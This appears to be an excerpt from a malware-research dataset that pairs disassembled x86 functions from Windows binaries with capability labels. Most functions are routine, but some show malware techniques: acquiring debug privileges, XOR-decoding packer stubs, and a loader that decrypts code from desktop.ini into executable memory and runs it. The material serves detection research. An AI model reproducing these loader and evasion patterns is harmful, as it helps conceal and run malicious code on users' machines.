joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd8d1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00d8d140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00d8d140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00d8d140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00d8d140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xd8dbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd8dc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xd9f87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xd8dc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xd8dc52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x4ac4ac
Capabilities:
Encode data using xor

Disassembly:
jecxz 0x4ac523
xchg esi, eax
xchg byte [edx + esi*2 - 0x351b244c], al
mov al, 0xb0
salc
cmp ebp, edx
push es
aas
mov byte [0x3341eec], 0x53
xor al, 3
push ebx
fld dword [edx - 0x15]
inc esp
popal
insb byte es:[edi], dx
dec ebx
fcom dword [ebx + ebp*4 - 0x7b4c3d2a]
jnp 0x4ac4c1
test eax, 0xc7c989bd
mov esi, 0x700b8e3d
retf
test dword [edx], 0x590bcff9
xor eax, 0x446e1a6f
invalid

Function at 0x4ac5ac
Capabilities:
Encode data using xor

Disassembly:
jne 0x4ac62c
or al, 0x74
cmc
mov edx, 0x8545aaad
js 0x4ac5bb
invalid
dec ebx
sbb esp, dword [edx]
shr byte [ebx + edi + 7], 1
sub esp, edi
je 0x4ac5db
into
add al, 0x22
test byte [ebx - 0x54e754e8], cl
invalid
or bh, byte [esi - 0x781cf739]
pop esp
sbb dword [ebx - 0x28b554c7], edi
mov ch, 0x76
mov byte [ebx], bh
rol byte [0xbf24655b], 0x9f
jo 0x4ac68b
dec ebp
inc ecx
call edi
pop edi
mov ch, 0x79
inc ecx
mov al, 0x9f
sbb byte [eax - 0x22], 0xfa
xchg ebp, eax
cmp dword [0x9bd8e1eb], edx
retf
inc ebp
xchg bx, ax
jbe 0x4ac6f8
enter 0xffffffffffff8579, 0x3e
inc edi
mov edi, 0xb4feaa99
sbb eax, 0x2ddbe442
invalid
imul esi, dword [ecx - 0x18], 0x2765aa24
inc esi
jmp 0xc6cb0b04
add cl, byte [ecx + 0x35]
out 0x15, eax
mov edi, dword [ecx]
xlatb
add eax, 0x8fbd97a
sbb ebx, dword [ecx]
cli
wait
inc esp
xor dword fs:[0x9442e10a], esp
jmp 0x4ac6e9

Function at 0x4b76fc
Capabilities:
Encode data using xor

Disassembly:
and eax, 0x2c60b49a
pop edx
xor dword ss:[ebx], esp
sbb cl, byte [ebx]
push ebp
xchg esi, eax
push esi
xchg esi, eax
and eax, 0x45ab846c
into
xchg esp, eax
mov ebp, 0xaa972dc5
xchg edx, eax
jmp 0x4b76e4
push edx
cmc
insb byte es:[edi], dx
loopne 0x4b76d7
invalid
mov dword [0xd7acca46], eax
cmc
fidiv dword [edx - 0x3d]
xchg esp, eax
cmp dword [edi + esi*2 + 0x35], esp
xchg esi, eax
sub al, 0x5c
jl 0x4b7725
xor eax, 0x665c2c96
jl 0x4b7725
adc eax, 0x4f244b32
xor eax, ebx
aaa
loopne 0x4b76a6
jae 0x4b767c
aas
adc al, 0x6e
and al, 0x11
ficomp dword [ebp - 0xb]
mov ch, 0x1b
outsd dx, dword [esi]
les eax, [esi + 0x2f]
stc
pop ebx
sbb al, 0x4d
push ecx
jp 0x4b76a2
inc esp
xor eax, 0x5899454f
mov esp, 0x2a1d3860
pushal
salc
ror byte [edx + 0x6ac676de], 0x17
aam 0xd2
push cs
push eax
xchg esp, eax
xor al, 0x87
cld
test dword [edx + 0x44], ebx
cmp dh, byte [edx + esi - 0x6d00554f]
sbb ebp, dword [edx - 0x176f0a89]
ja 0x4b7727
les esp, [ebx]
inc edi
cmp al, 0x30
daa
sub edi, dword [ebx - 0x58]
sbb dword [0xcb5b8778], esp
cmp byte [eax + 0x77], bh
xchg esp, eax
test eax, 0xbabf89b8
xchg ebx, eax
mov edx, esp
sti
jmp 0x4b7757
Function at 0x501b9c
Capabilities:
Encode data using xor

Disassembly:
test eax, 0x844fa441
cmp eax, 0x511a39d4
cmove ecx, dword [edx + 0x2f30b734]
xor esi, esi
and edi, dword [ebx - 0x18bc4908]
invalid
Function at 0x5e2c3c
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x258707b2
daa
mov cl, 0xf7
mov ch, 0xe9
mov al, byte [0x835de3a9]
or eax, 0xb406a01e
lodsd eax, dword [esi]
sub al, 0x25
and eax, 0x200c121c
and eax, 0x200c121c
cld
sbb esi, dword [ebx + eax*4 - 0x6e225787]
add byte cs:[ebp - 0x3139f103], bh
inc ebx
jae 0x5e2cb7
sbb byte [0x655040aa], cl
test dword [esi], eax
push eax
test dword gs:[esi], eax
cmp eax, 0xdd61a819
jnp 0x5e2cac
xor byte [0x55481c5f], bl
adc esi, dword [edx - 0x30]
mov byte [0x9f21bd72], al
mov ch, 0xa
enter 0x5910, 0x24
inc edx
dec ecx
mov ebx, 0xf069affb
mov esi, 0xaa19744c
dec ecx
or esi, eax
movsd dword es:[edi], dword [esi]
les ebx, [ecx + edi + 6]
add al, 0x94
adc esp, ebx
test dword [ecx], ebx
jae 0x5e2c57
out dx, eax
jmp 0x5e2c25
lds eax, cs:[esi + 0x3c]
sub dh, bh
mov eax, dword [ebp - 0x4b]
pop ebx
cmp dl, byte [ecx]
push eax
mov edi, 0xb1700374
jge 0x5e2cb6
xor edx, dword [edi + 0x6b6dd175]
movsb byte es:[edi], byte [esi]
iretd
Function at 0x62682c
Capabilities:
Encode data using xor

Disassembly:
jno 0x6268a4
out dx, eax
pushfd
mov cs, word [ecx - 0x7f]
pop ecx
mov cl, 0x95
lahf
push es
out dx, eax
aad 0xe3
or eax, dword [edx - 0x19]
std
cmp dl, ch
pop ss
and al, 0x23
sal byte [0x95f4a9d9], cl
xchg edi, eax
inc ecx
jp 0x6268c3
rcr dword [edx], cl
imul edx, dword [edi + 0x1c], 0x57
cmp eax, 0x87ca8db2
xor byte [esi + 0x36391902], 0xe7
insb byte es:[edi], dx
lcall 0x64f2, 0xe556e32c
mov eax, ebp
jae 0x6268ba
push ebp
mov bh, 0x47
cli
fcomp dword [ebp + 0x5a]
jmp [bx + di - 0x5b]
jmp [ecx - 0x5b]
popfd
lodsd eax, dword [esi]
outsd dx, dword [esi]
arpl si, di
jne 0x6268e0
movsd dword es:[edi], dword [esi]
push ss
adc al, 0x5c
add al, 0x55
adc al, 0x8e
std
invalid
loop 0x6268a2
popal
jo 0x626875
invalid
sub eax, 0x3d613145
mov al, 0x9d
loopne 0x626893
mov bh, 0xdb
pmovmskb ecx, mm1
mov ebp, 0xcca59038
push esp
adc ch, ah
lea esi, [edx + edi + 0x67b5ad97]
mov ch, 0x67
stosd dword es:[edi], eax
inc edx
pushal
cld
inc ecx
lodsb al, byte [esi]
in eax, 0xc5
xor eax, 0x518ab8a
aam 0x85
mov ch, byte [ebx - 0x7a2bfae8]
lodsb al, byte [esi]
js 0x6268d5
jns 0x626951
mov al, 0xeb
aam 0x48
xchg esp, eax
dec edi
pop ebx
cmp al, 0x70
mov ebp, 0xfea672d5
aad 0x8c
shr dword [ebx + ecx], cl
add dl, byte [eax]
inc esp
or eax, 0x34dd0851
dec byte [edx + 0x4a0ca4c7]
out dx, al
cmp al, 0x72
inc ebp
sbb eax, 0x4d963671
mov ch, 0x4e
mov ebx, 0xe319d5e2
mov eax, 0x4dc43927
test al, 0xc9
in al, 0xe4
and eax, 0xf585a6ca
scasd eax, dword es:[edi]
push ecx
lahf
sbb edx, dword [0x52126285]
pop esi
jge 0x626906
js 0x62694d
mov ah, 0x2f
adc dword [esi], esi
cmp bh, byte [ebx + 0x4c]
aad 0x5d
adc eax, 0xbae3c7c5
test byte [ecx], bh
call 0xba4774ee
retf
pop eax
sbb al, 0xab
stosd dword es:[edi], eax
xor dh, ah
popal
loope 0x626995
leave
mov ebp, 0x9cf5e263
movsd dword es:[edi], dword [esi]
int 0x1a
int3
jns 0x6269cc
movsd dword es:[edi], dword [esi]
sbb ch, dl
cmp dword [ebp - 0x54], ebx
jne 0x6269c5
adc al, 0xc7
rol ch, 0x85
dec ebp
cmp al, 0xfd
adc al, 0xb
mov eax, dword [0x644df19c]
cmp al, 0xb7
mov eax, 0x4c99c5c5
invalid
loopne 0x626953
inc esp
xchg ecx, eax
test al, 0x9f
push esi
pop esp
mov ebp, dword [edi - 0x4b9ba669]
dec ecx
cmp bh, byte [esp + ecx*8 + 0x75]
lcall 0x303d, 0x3bbf0179
in al, 0x38
mov ebp, 0x881077fd
stc
les ecx, [esi]
popfd
dec edx
aam 0x37
jmp 0x626a39
cli
les eax, [ebp + 0x2d]
add ch, byte [0x2adbf5c7]
inc edi
pop esp
xor eax, 0x6024b917
jl 0x626aa7
dec esp
mov bh, 0xa3
cli
dec ebp
cdq
mov ebp, 0x68f2a5c5
push ebx
sahf
call 0xd7a03680
std
in eax, 0x4c
invalid
xor dh, byte [ebp + 0x78]
pop edi
invalid

Function at 0x62d40c
Capabilities:
Encode data using xor

Disassembly:
in al, 0x46
sub dword [edx + eax*2 + 0x5eb66e84], 0x6df576f0
invalid
Function at 0x658e5c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x663460
cmp edx, dword [eax]
je 0x658e7e
add eax, 8
inc ecx
cmp eax, 0x6634f0
jl 0x658e6f
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x663460]
jne 0x658fac
mov eax, dword [0xa66cd0]
cmp eax, 1
je 0x658f86
test eax, eax
jne 0x658eaf
cmp dword [0x6612a4], 1
je 0x658f86
cmp edx, 0xfc
je 0x658fac
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x658ee6
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00659fc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065a0b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x658f29
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065a0b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65dc2c
push edi
call fcn.0065aa70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00659fc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00659fd0
lea eax, [ebp - 0xa0]
push 0x65dc0c
push eax
call fcn.00659fd0
push dword [esi + 0x663464]
lea eax, [ebp - 0xa0]
push eax
call fcn.00659fd0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0065a9e2
add esp, 0x2c
pop edi
jmp 0x658fac
lea eax, [ebp + 8]
lea esi, [esi + 0x663464]
push 0
push eax
push dword [esi]
call fcn.0065a0b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x6301b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00630140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00630140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00630140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00630140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x630bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x630c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x64287c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x630c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x630c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401b5a
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
push eax
push dword [ebp + 0x10]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, eax
xor esi, esi
xor al, al
mov dword [ebp - 8], ecx
mov bl, 1
mov byte [ebp + 0x13], al
cmp dword [ebp - 4], esi
jle 0x401c15
push edi
mov edx, dword [ecx + esi*4]
mov ecx, str.__upgrade
mov eax, edx
mov di, word [eax]
cmp di, word [ecx]
jne 0x401bba
test di, di
je 0x401bb6
mov di, word [eax + 2]
cmp di, word [ecx + 2]
jne 0x401bba
add eax, 4
add ecx, 4
test di, di
jne 0x401b94
xor eax, eax
jmp 0x401bbf
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401bca
mov al, 1
mov byte [ebp + 0x13], al
jmp 0x401c07
mov eax, str.__disable_shortcut
mov cx, word [edx]
cmp cx, word [eax]
jne 0x401bf5
test cx, cx
je 0x401bf1
mov cx, word [edx + 2]
cmp cx, word [eax + 2]
jne 0x401bf5
add edx, 4
add eax, 4
test cx, cx
jne 0x401bcf
xor eax, eax
jmp 0x401bfa
sbb eax, eax
or eax, 1
xor ecx, ecx
movzx ebx, bl
test eax, eax
mov al, byte [ebp + 0x13]
cmove ebx, ecx
mov ecx, dword [ebp - 8]
inc esi
cmp esi, dword [ebp - 4]
jl 0x401b8a
pop edi
mov dl, bl
mov cl, al
call fcn.00401943
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4043f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4262a5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x38]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0xc], ebx
call fcn.0041fd5d
mov eax, dword [esp + 0x48]
mov dword [esp + 0x30], 1
test eax, eax
jne 0x404434
mov eax, dword [esp + 0x3c]
push eax
lea ecx, [esp + 0x10]
call fcn.0041fd5d
mov ecx, dword [esp + 0xc]
mov byte [esp + 0x30], 2
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40446b
mov esi, dword [esp + 0x38]
lea edx, [esp + 0x40]
push edx
mov ecx, esi
call fcn.0041fa64
mov dword [esp + 8], 1
jmp 0x404599
mov eax, dword [esp + 0x40]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x404494
push 0x432384
lea ecx, [esp + 0x44]
call fcn.0041f2ec
mov cl, byte [0x428658]
push ecx
lea ecx, [esp + 0x44]
call fcn.0041fff1
push 0x432384
lea ecx, [esp + 0x10]
call fcn.0041f2ec
mov eax, dword [0x432de8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push edx
mov byte [esp + 0x34], 7
mov dword [esp + 0x14], 0x428550
call fcn.0040ca60
mov al, byte [esp + 0x44]
mov byte [esp + 0x30], 8
test al, al
je 0x40450e
mov al, byte [esi + 4]
test al, al
je 0x404508
lea eax, [esp + 0x48]
lea ecx, [esp + 0x10]
push eax
call fcn.0040cbe0
mov ebx, 2
mov dword [esp + 8], ebx
mov byte [esp + 0x30], 9
jmp 0x404530
lea eax, [esp + 0xc]
jmp 0x404530
lea ecx, [esp + 0x10]
lea edx, [esp + 0x44]
push ecx
push edx
mov ecx, esi
call fcn.004041b0
mov ebx, 4
mov dword [esp + 8], ebx
mov dword [esp + 0x30], 0xa
push eax
lea ecx, [esp + 0x44]
call fcn.00420006
test bl, 4
mov dword [esp + 0x30], 9
je 0x404557
and ebx, 0xfffffffb
lea ecx, [esp + 0x44]
mov dword [esp + 8], ebx
call fcn.0041fcef
test bl, 2
mov dword [esp + 0x30], 8
je 0x404574
and ebx, 0xfffffffd
lea ecx, [esp + 0x48]
mov dword [esp + 8], ebx
call fcn.0041fcef
mov esi, dword [esp + 0x38]
lea eax, [esp + 0x40]
push eax
mov ecx, esi
call fcn.0041fa64
or ebx, 1
lea ecx, [esp + 0x10]
mov dword [esp + 8], ebx
mov byte [esp + 0x30], 2
call fcn.0040c930
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 1
call fcn.0041fcef
lea ecx, [esp + 0x40]
mov byte [esp + 0x30], 0
call fcn.0041fcef
mov ecx, dword [esp + 0x28]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret 0x14
Function at 0x409dc0
Capabilities:
Access peb ldr_data
Get disk size

Disassembly:
push 0xffffffffffffffff
push 0x426a88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov eax, dword [0x432de8]
xor ecx, ecx
push esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x44]
lea ecx, [esp + 0x1c]
push eax
mov byte [esp + 0x40], 4
mov dword [esp + 0x20], 0x428550
call fcn.0040ca60
lea ecx, [esp + 0x44]
mov dword [esp + 0x3c], 5
push ecx
lea ecx, [esp + 0x20]
call fcn.00409f10
mov esi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x18]
push eax
push ecx
push edx
mov byte [esp + 0x4c], 6
call esi
test eax, eax
jne 0x409ed0
push 0x432384
lea ecx, [esp + 0x48]
call fcn.0041f2ec
mov al, byte [0x428658]
lea ecx, [esp + 0x44]
push eax
call fcn.0041fff1
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x48]
lea eax, [esp + 0x18]
push edx
push eax
push ecx
call esi
test eax, eax
jne 0x409ed0
lea ecx, [esp + 0x44]
mov byte [esp + 0x3c], 5
call fcn.0041fcef
lea ecx, [esp + 0x1c]
mov dword [esp + 0x3c], 0xffffffff
call fcn.0040c930
xor eax, eax
xor edx, edx
pop esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret
mov esi, dword [esp + 4]
push edi
mov edi, dword [esp + 0xc]
lea ecx, [esp + 0x48]
mov byte [esp + 0x40], 5
call fcn.0041fcef
lea ecx, [esp + 0x20]
mov dword [esp + 0x40], 0xffffffff
call fcn.0040c930
mov ecx, dword [esp + 0x38]
mov edx, edi
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x3c
ret

Function at 0x409f30
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 4]
push ebx
push 1
lea ecx, [esp + 0xc]
push eax
push ecx
call fcn.0040ca40
mov edx, dword [esp + 0x18]
mov eax, dword [eax]
add esp, 0xc
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
lea ecx, [esp + 8]
setne bl
call fcn.0041fcef
mov al, bl
pop ebx
ret

Function at 0x409f70
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push esi
push 1
lea ecx, [esp + 0xc]
push eax
push ecx
call fcn.0040ca40
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 8]
mov esi, eax
call fcn.0041fcef
cmp esi, 0xffffffff
jne 0x409fa2
xor al, al
pop esi
ret
mov edx, dword [esp + 0xc]
mov al, 1
mov dword [edx], esi
pop esi
ret